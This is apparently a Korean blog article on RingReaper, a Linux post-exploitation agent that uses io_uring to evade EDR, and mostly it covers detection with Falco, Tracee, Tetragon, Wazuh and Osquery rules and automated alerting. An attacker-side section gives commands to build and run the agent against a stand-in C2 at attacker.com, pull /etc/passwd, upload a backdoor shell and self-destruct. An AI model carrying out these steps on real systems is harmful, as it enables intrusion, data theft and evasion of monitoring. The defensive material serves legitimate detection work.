RingReaper는 리눅스 환경에서 EDR(Endpoint Detection and Response) 솔루션을 우회하기 위해 설계된 포스트 익스플로잇 에이전트로, 리눅스 커널의 비동기 I/O 인터페이스인 io_uring
을 활용하여 기존의 시스템 호출을 회피합니다.
RingReaper 개요
- 개발자: MatheuZSecurity
- 목적: 리눅스 시스템에서 EDR 탐지를 우회하기 위한 포스트 익스플로잇 에이전트
- 핵심 기술:
io_uring
을 활용하여 전통적인 시스템 호출(read
,write
,recv
,send
,connect
등)을 대체 - 특징: EDR 탐지를 회피하기 위해 네트워크 및 파일 I/O 작업을 비동기적으로 처리
주요 기능 및 명령어
명령어 | 설명 | io_uring 사용 여부 | |
---|---|---|---|
get |
대상 시스템에서 파일 다운로드 | 100% 사용 | |
put |
파일 업로드 (recv 사용) |
100% 사용 | |
users |
로그인된 사용자 목록 확인 (utmp 파일 읽기) |
100% 사용 | |
ss / netstat |
TCP 연결 목록 확인 (/proc/net/tcp 읽기) |
100% 사용 | |
privesc |
SUID 바이너리 검색 (statx 사용) |
100% 사용 | |
ps |
프로세스 목록 확인 (opendir , readdir 사용) |
부분 사용 | |
kick |
pts 세션 종료 (opendir , readdir , kill , readlink 사용) |
부분 사용 | |
me |
현재 PID/TTY 확인 (getpid , ttyname 사용) |
부분 사용 | |
selfdestruct |
현재 바이너리 삭제 (readlink 사용) |
부분 사용 | |
exit |
연결 종료 및 에이전트 종료 | 100% 사용 | |
help |
명령어 도움말 표시 | 100% 사용 |
일부 명령어는 io_uring
이 완전히 지원하지 않는 기능 때문에 전통적인 시스템 호출을 사용하지만, 대부분의 작업은 io_uring
을 통해 수행됩니다.
1. io_uring 기반 탐지 우회
io_uring
은 커널 수준에서 비동기 I/O 작업을 처리하여 전통적인 시스템 호출을 회피합니다. 이로 인해 EDR 솔루션이 일반적으로 모니터링하는 시스템 호출을 우회할 수 있습니다. 현재 대부분의 EDR 솔루션은 io_uring
관련 시스템 호출(io_uring_enter
등)을 깊이 있게 모니터링하지 않기 때문에 탐지 회피에 효과적입니다.
2. EDR 탐지 우회 전략
- 네트워크 통신: HTTPS 포트(443번)를 사용하여 정상적인 트래픽으로 위장
- 시스템 호출 회피: 전통적인 시스템 호출을 최소화하여 EDR의 후킹 및 이벤트 트레이싱을 회피
- 파일 및 프로세스 작업:
io_uring
을 통해 파일 및 프로세스 관련 작업을 비동기적으로 처리
방어를 위한 대응 방안
1. io_uring 관련 시스템 호출 모니터링
io_uring_enter
및 관련 시스템 호출을 모니터링하여 비정상적인 I/O 작업 탐지- eBPF(Berkeley Packet Filter)를 활용하여 커널 수준에서의 I/O 작업 추적
2. 행위 기반 탐지 강화
- 전통적인 시스템 호출뿐만 아니라 비동기 I/O 작업에 대한 행위 기반 탐지 규칙 수립
- 비정상적인 파일 접근 패턴, 네트워크 통신 등을 기반으로 한 탐지 로직 강화
3. 로그 및 이벤트 분석
io_uring
을 통한 작업 로그를 수집하고 분석하여 이상 징후 탐지- 정상적인 시스템 동작과 비교하여 비정상적인 패턴 식별
RingReaper는 리눅스 환경에서 EDR 탐지를 우회하기 위해 io_uring
을 활용한 포스트 익스플로잇 에이전트로, 전통적인 시스템 호출을 회피하여 탐지를 어렵게 만듭니다. 이에 대응하기 위해서는 io_uring
관련 시스템 호출에 대한 모니터링 강화, 행위 기반 탐지 로직 수립, 로그 및 이벤트 분석 등을 통해 보안 체계를 강화해야 합니다.
- GitHub - MatheuZSecurity/RingReaper: https://github.com/MatheuZSecurity/RingReaper
- Red Team Tactics: Evading EDR on Linux with io_uring: https://matheuzsecurity.github.io/hacking/evading-linux-edrs-with-io-uring/
RingReaper 실전 구성 및 활용 가이드
RingReaper는 io_uring
을 활용하여 EDR 감시 우회를 목표로 설계된 리눅스용 포스트 익스플로잇 에이전트입니다. 주요 통신은 HTTPS로 암호화되며, 다양한 파일/네트워크/시스템 명령을 io_uring
으로 실행함으로써 기존 EDR 후킹을 우회합니다.
전제 조건
항목 | 조건 |
---|---|
대상 시스템 | 리눅스 (Kernel 5.6 이상) |
EDR | 시스템 콜 기반 탐지 방식 사용하는 제품 (예: Falco, Osquery, Crowdstrike Falcon 등) |
공격자 시스템 | Kali Linux 또는 Ubuntu + golang 설치 |
네트워크 | 인터넷 연결 가능해야 함 (HTTPS 통신 사용) |
설치 절차 (공격자 측)
# 1. Golang 설치
sudo apt update && sudo apt install golang-go -y
# 2. 코드 클론
git clone https://github.com/MatheuZSecurity/RingReaper.git
cd RingReaper
# 3. 리스닝 서버 실행
go run server.go
서버 기본 설정
- 기본 포트:
443
- 암호화된 HTTPS 통신 사용
- 에이전트와 서버는
TLS
로 암호화된 채널로 통신
에이전트 빌드 및 전개
# 리눅스용 에이전트 빌드
GOOS=linux GOARCH=amd64 go build -o reaper-agent agent.go
# 에이전트 실행 예시
./reaper-agent https://attacker.com:443
https://attacker.com:443
는 C2 서버 주소- 실행 즉시 C2 서버와 연결되며 명령 수신 대기
활용 가능한 명령어 시나리오
📁 파일 다운로드
reaper> get /etc/passwd
/etc/passwd
파일을 공격자 서버로 다운로드read
시스템 콜 대신io_uring
을 사용하여 EDR 탐지 우회
💾 파일 업로드 (백도어 배포 등)
reaper> put shell.sh /tmp/shell.sh
- 공격자가 가진
shell.sh
파일을 대상 시스템에 업로드
👥 로그인 사용자 확인
reaper> users
utmp
파일을io_uring
으로 읽어 로그인 사용자 정보 수집
🔎 권한 상승 탐색
reaper> privesc
- SUID 권한이 있는 바이너리 탐색
/
전체 검색 시statx
를io_uring
으로 실행
🔚 흔적 삭제
reaper> selfdestruct
- 현재 실행 중인 바이너리를 자동 삭제
- 흔적 최소화를 위한 기능
보안 점검 및 대응 방안
점검 항목 | 설명 |
---|---|
io_uring 기반 호출 탐지 |
io_uring_enter 호출을 모니터링 가능한 eBPF, Sysmon for Linux, Falco 정책 구성 |
TLS 통신 트래픽 | 443 포트에서 비정상적인 클라이언트 통신 세션 감지 |
비동기 파일 I/O 패턴 분석 | 동일한 파일을 반복적으로 비동기 읽기하는 행위 등 |
/proc/net , utmp , SUID binary 접근 탐지 |
비정상적인 파일 액세스 시도 감지 룰 생성 |
자가삭제 패턴 탐지 | readlink , unlink , rm 등이 조합된 행위 시그니처 정의 |
정적/동적 바이너리 분석 | 새로운 Go ELF 파일 또는 io_uring 심볼 포함 여부 검사 |
보안 솔루션 설정 가이드
Falco 룰 예시 (io_uring_enter 탐지)
- rule: Detect io_uring system call
desc: Detect use of io_uring which can be used to evade syscall tracing
condition: evt.type = io_uring_enter and proc.name != "trusted_process"
output: "Suspicious use of io_uring by %proc.name (%user.name)"
priority: WARNING
eBPF 기반 탐지 도구
보안 시사점
요약 항목 | 내용 |
---|---|
장점(공격자 입장) | io_uring 으로 시스템 콜 후킹을 우회하고, EDR 탐지를 효과적으로 피함 |
위협(보안 관리자 입장) | 기존 시그니처 기반 탐지가 무력화될 수 있음 |
대응 전략 | 행위 기반 탐지 + 커널 수준 추적(eBPF/Falco) 병행 운영 필요 |
RingReaper 대응을 위한 점검 및 탐지 구성 가이드
점검 스크립트: io_uring 사용 이력 확인
다음은 io_uring
관련 syscall 호출 이력을 확인하는 bash 기반 간단한 점검 스크립트입니다.
check_io_uring_usage.sh
#!/bin/bash
echo "[*] Checking for processes using io_uring..."
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
if [ -r "/proc/$pid/maps" ]; then
grep -q "io_uring" /proc/$pid/maps && {
pname=$(cat /proc/$pid/comm)
echo "[!] Process $pid ($pname) is using io_uring."
}
fi
done
/proc/[pid]/maps
에서 io_uring 관련 메모리 매핑 여부 확인- RingReaper는
io_uring_setup
,io_uring_enter
를 통해 커널 I/O 큐와 통신 → 관련 mmap 흔적이 남는 경우 감지 가능
eBPF 기반 탐지 설정 예시
사용 도구
Tracee – io_uring 탐지 룰
Tracee는 JSON 기반의 정책 룰을 활용합니다.
{
"ruleName": "Detect io_uring usage",
"eventName": "io_uring_enter",
"tags": ["linux", "io_uring", "edr-evasion"],
"description": "Detects use of io_uring_enter syscall, commonly used in EDR evasion",
"condition": "container.id != host and not proc.name in ['systemd', 'containerd']",
"output": "Process %proc.name (%proc.pid) invoked io_uring_enter"
}
실행 방법
sudo ./tracee --trace event=io_uring_enter --output json
또는 시스템 전체에 대한 후킹
sudo ./tracee --trace all
Tetragon – io_uring syscall 추적 예시
Tetragon은 tracepolicy
YAML을 활용합니다.
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: detect-io-uring
spec:
kprobes:
- call: io_uring_enter
syscall: true
return: true
action:
- log
kubectl apply -f detect-io-uring.yaml
이후 로그는 Tetragon UI 또는 Grafana에 연동해 시각화 가능
침해사고 대응 룰 작성 예시
Falco 룰 – RingReaper 대응
- rule: Suspicious use of io_uring syscalls
desc: Detect processes using io_uring which may indicate EDR evasion
condition: >
(evt.type in (io_uring_enter, io_uring_setup)) and
proc.name != "systemd" and
proc.name != "docker"
output: >
"Process %proc.name (pid=%proc.pid) invoked io_uring syscall"
priority: WARNING
tags: [ringreaper, io_uring, edr, linux]
# 적용 후 falco 재시작
sudo systemctl restart falco
탐지 우회 확인용 테스트 바이너리
RingReaper 또는 io_uring 기반 프로그램이 실제 탐지되는지 테스트하기 위한 go 예제
package main
import (
"fmt"
"golang.org/x/sys/unix"
)
func main() {
fd, err := unix.IoUringSetup(1, &unix.IoUringParams{})
if err != nil {
fmt.Println("io_uring setup failed:", err)
return
}
fmt.Println("io_uring setup success, fd =", fd)
}
빌드 및 실행
go get golang.org/x/sys/unix
go build -o test_uring test.go
./test_uring
이후 Falco / Tracee / Tetragon이 로그를 생성하는지 확인
보안 대응 지침
항목 | 설명 |
---|---|
EDR 우회 탐지 강화 | io_uring_enter , io_uring_setup syscall 감시 필수 |
취약 시스템 식별 | 커널 5.6 이상에서 io_uring 기능 활성 여부 확인 |
정적 분석 | 신규 도입된 Go 바이너리 파일 정적 분석 시 io_uring 사용 여부 체크 (strings , readelf ) |
정책 적용 | EDR 룰셋 업데이트, eBPF 기반 탐지 도구 도입, 불필요한 커널 기능 차단 |
IOC 예시
IOC 항목 | 예시 |
---|---|
파일명 | reaper-agent , agent.go , ringreaper |
도메인 | *.onion , attacker.com |
포트 | 443 , 8443 (비정상 외부 연결 시) |
시스템 콜 | io_uring_enter , io_uring_setup , mmap , unlink , readlink |
Slack 알림 자동 전송: 탐지 후 Webhook 연동
EDR, eBPF 탐지 도구(Falco, Tracee 등)에서 io_uring
탐지 시, Slack Webhook으로 경고 메시지를 전송합니다.
구성 예시: Falco → Slack
① Slack Webhook 생성
- Slack App 설정 페이지 접속
- 새 앱 생성 →
Incoming Webhooks
활성화 - Webhook URL 복사 (예:
https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX
)
② Falco 설정 변경
sudo vi /etc/falco/falco.yaml
program_output:
enabled: true
keep_alive: false
program: "/usr/local/bin/falco_slack.sh"
③ Slack 전송 스크립트 작성
/usr/local/bin/falco_slack.sh
#!/bin/bash
SLACK_WEBHOOK="https://hooks.slack.com/services/XXX/YYY/ZZZ"
while read line; do
curl -X POST -H 'Content-type: application/json' \
--data "{\"text\":\"🔔 Falco Alert:\n$line\"}" \
"$SLACK_WEBHOOK"
done
chmod +x /usr/local/bin/falco_slack.sh
예시 출력 메시지
🔔 Falco Alert
Process unknown_proc (pid=2231) invoked io_uring_enter.
Time: 2025-07-13T10:22:13Z
Grafana에서 io_uring 탐지 이벤트 시각화
[Tracee / Tetragon] → [Prometheus Exporter or Loki] → [Grafana Dashboard]
방법 A: Loki + Grafana
- Tracee 실행 (Loki 연동용 Docker 로그 사용)
docker run --rm -v /etc/os-release:/etc/os-release -v /lib/modules:/lib/modules --privileged \ aquasec/tracee --trace event=io_uring_enter --output format=json
- Loki 설정 (Docker 로그 수집)
Loki에서 json 로그 수집 후io_uring
키워드 필터링 - Grafana 설정
- 데이터 소스 추가: Loki
- 쿼리 예시
{job="tracee"} |= "io_uring_enter"
- 시계열 그래프 또는 테이블 패널로 시각화
방법 B: Prometheus + Tetragon + Grafana
- Tetragon에서
io_uring_enter
탐지 시 Prometheus 메트릭 노출 cilium/tetragon-exporter
를 통해 Prometheus 연동# 예: io_uring syscall count tetragon_io_uring_syscalls_total{process="curl"} 3
- Grafana에서 Prometheus 쿼리
tetragon_io_uring_syscalls_total
대시보드 구성 팁
패널 유형 | 설명 |
---|---|
Bar Chart | 프로세스별 io_uring 호출 건수 |
Table | 시간대별 PID / 프로세스 이름 / 이벤트 |
Alerts | io_uring syscall이 특정 수 이상이면 Slack 알림 트리거 |
Wazuh를 통한 io_uring 탐지
① Auditd와 Wazuh 연동
# audit.rules 또는 /etc/audit/rules.d/audit.rules
-a always,exit -F arch=b64 -S io_uring_enter -k io_uring_call
② Wazuh 룰 구성
<group name="syscalls,edr_evasion,io_uring">
<rule id="100500" level="10">
<if_sid>80700</if_sid>
<match>io_uring_enter</match>
<description>io_uring syscall detected - possible EDR evasion</description>
<group>syscalls,edr_evasion</group>
</rule>
</group>
if_sid 80700
: auditd 기반 syscall 이벤트 SID
③ Slack 연동 (Webhook)
Wazuh는 Slack 통합을 위한 webhook 모듈(wazuh-slack
) 제공 가능
→ 필요한 경우 별도 연동법 안내 가능
Osquery를 통한 io_uring 탐지
① 커널에서 syscall 이벤트 직접 탐지는 어려움
→ /proc/[pid]/maps
, /proc/[pid]/fd
등을 주기적으로 조회하여 간접 탐지
② 사용자 정의 쿼리 예시
SELECT pid, name, path
FROM processes
WHERE path LIKE '%reaper-agent%' OR name = 'reaper-agent';
또는
SELECT pid, name
FROM processes
WHERE cmdline LIKE '%io_uring%';
📝 io_uring 사용 흔적은 /proc/[pid]/maps에 "io_uring" 문자열로 확인 가능
③ Scheduled Query 설정 (FleetDM 등에서 10분마다 실행)
{
"queries": {
"io_uring_monitor": {
"query": "SELECT * FROM processes WHERE cmdline LIKE '%io_uring%';",
"interval": 600
}
}
}
추가 도구 추천
도구 | 역할 |
---|---|
Sysdig Falco | 실시간 시스템 콜 탐지 |
Tracee | io_uring 포함 다양한 eBPF 이벤트 추적 |
Cilium Tetragon | Kubernetes 환경 포함 시스템콜 추적 |
[FleetDM + Osquery] | 엔드포인트 감시, 정책 구성 자동화 |
[Wazuh] | 보안 규칙 기반 SIEM 연동 및 경고 |
Tetragon Kubernetes용 DaemonSet 구성 예시
사전 조건
항목 | 요구 사항 |
---|---|
Kubernetes 버전 | 1.20 이상 권장 |
커널 버전 | 5.x 이상 (eBPF 지원) |
Cilium 설치 여부 | 불필요 (Tetragon은 독립 사용 가능) |
Helm 또는 kubectl | 설치 필요 |
설치 방법 (Helm 기반)
Helm 저장소 등록 및 업데이트
helm repo add cilium https://helm.cilium.io
helm repo update
Tetragon 설치 (DaemonSet 방식)
helm install tetragon cilium/tetragon \
--namespace kube-system \
--create-namespace \
--set tetragon.logLevel=info \
--set tetragon.tracingPolicy.enabled=true
이제 모든 노드에 Tetragon DaemonSet이 설치되어 커널 이벤트를 수집합니다.
TracingPolicy 예시 (io_uring 탐지)
다음은 io_uring_enter
시스템 콜을 탐지하는 TracingPolicy CRD 예시입니다.
io-uring-trace.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: detect-io-uring
spec:
kprobes:
- call: io_uring_enter
syscall: true
return: true
action:
- log
- notify
배포
kubectl apply -f io-uring-trace.yaml
로그 확인
kubectl logs -n kube-system -l k8s-app=tetragon -f
출력 예시
Process "ringreaper" (pid 3211) called syscall "io_uring_enter"
Slack 연동 (옵션)
Tetragon은 Tetragon Operator
또는 별도 log shipper를 통해 Slack과 연동 가능합니다. 간단한 예로는 다음과 같이 로그를 Fluent Bit → Slack
으로 전송하거나, tetragon-exporter
로 메트릭화한 후 알림을 보낼 수 있습니다.
Grafana 연동 (옵션)
방법 A: Prometheus Exporter 사용
tetragon-exporter
를 함께 설치하여 Prometheus와 연동helm install tetragon-exporter cilium/tetragon-exporter \ --namespace kube-system
- 메트릭 예시
tetragon_process_syscall_total{syscall="io_uring_enter"}
- Grafana에서 syscall 패턴, PID별 호출 수 등을 대시보드로 시각화 가능
보안 운영을 위한 팁
구성 요소 | 활용 방안 |
---|---|
TracingPolicy |
특정 syscall 또는 바이너리, UID 기반 탐지 룰 구성 가능 |
action: log, notify, exec |
알림 외에 자동 스크립트 실행 가능 (exec ) |
정합성 검사 | SUID/SGID 탐지, 비정상 프로세스 실행 탐지 룰도 추가 가능 |
네임스페이스 필터 | 특정 Pod 또는 네임스페이스 기준으로 필터링 가능 |
관련 정책 예시 모음
탐지 대상 | TracingPolicy 설정 |
---|---|
io_uring_enter syscall |
kprobes + log |
SUID/권한 상승 | execve + uid != 0 조건 |
/bin/bash 실행 |
binary == /bin/bash 필터 |
비정상적인 네트워크 통신 | connect syscall 추적 |
Alertmanager 기반 자동 대응 설정
[Tetragon / Falco / Prometheus Exporter]
↓ Event 발생 (syscall 등)
[Prometheus] ← scrape
↓ Alert 발생
[Alertmanager] ← route
↙ ↘
[Slack Webhook] [Auto Kill Webhook]
↘
[n8n / FastAPI / Python Script 등]
Prometheus Alert 정의 (io_uring 탐지)
예시: rules.yml
groups:
- name: io_uring-detection
rules:
- alert: IoUringSyscallDetected
expr: increase(tetragon_process_syscall_total{syscall="io_uring_enter"}[1m]) > 0
for: 10s
labels:
severity: critical
action: kill
annotations:
summary: "Detected io_uring syscall (EDR evasion attempt)"
description: "Process on {{ $labels.instance }} used io_uring_enter"
# Prometheus 설정에 추가
--rule-files="/etc/prometheus/rules.yml"
Alertmanager 설정: 자동 Kill 트리거
alertmanager.yml
route:
receiver: "kill-webhook"
group_by: ['alertname']
group_wait: 10s
repeat_interval: 10m
routes:
- match:
severity: critical
action: kill
receiver: kill-webhook
receivers:
- name: "kill-webhook"
webhook_configs:
- url: "http://autoresponder.default.svc.cluster.local:8080/kill"
send_resolved: true
- name: "slack"
slack_configs:
- channel: "#security-alerts"
text: "🚨 {{ .CommonAnnotations.summary }}\n{{ .CommonAnnotations.description }}"
Kill 자동화 서비스 구축 (FastAPI / Python)
kill-agent.py
from fastapi import FastAPI, Request
import subprocess
app = FastAPI()
@app.post("/kill")
async def kill_process(request: Request):
data = await request.json()
alerts = data.get("alerts", [])
for alert in alerts:
# 예시용으로 임의의 프로세스 이름을 기준으로 종료
proc_name = "ringreaper" # 실제는 alert label 등에서 추출
try:
subprocess.run(["pkill", "-f", proc_name])
except Exception as e:
print(f"Kill failed: {e}")
return {"status": "ok"}
uvicorn kill-agent:app --host 0.0.0.0 --port 8080
⚠️ 실환경에서는 인증 토큰, IP allowlist 등 보안 강화 필요
n8n 활용: Kill 외 자동화 확장
Alertmanager → Webhook → n8n Workflow
- Slack 알림 전송
- Jira 티켓 생성
- Osquery로 원격 조사 명령 전송
- Wazuh API 연동해 Agent 격리
예시 워크플로 구성도
[Webhook (Alertmanager)]
↓
[IF: label.action == "kill"]
↓
[Execute Command / API Call / Slack Node]
단계 | 구성 요소 | 역할 |
---|---|---|
① 탐지 | Tetragon / Tracee | io_uring_enter 호출 탐지 |
② 알림 | Prometheus + Alertmanager | 이벤트에 기반한 alert 전송 |
③ 대응 | Webhook → Script or n8n | 프로세스 종료, Slack 알림 등 |
댓글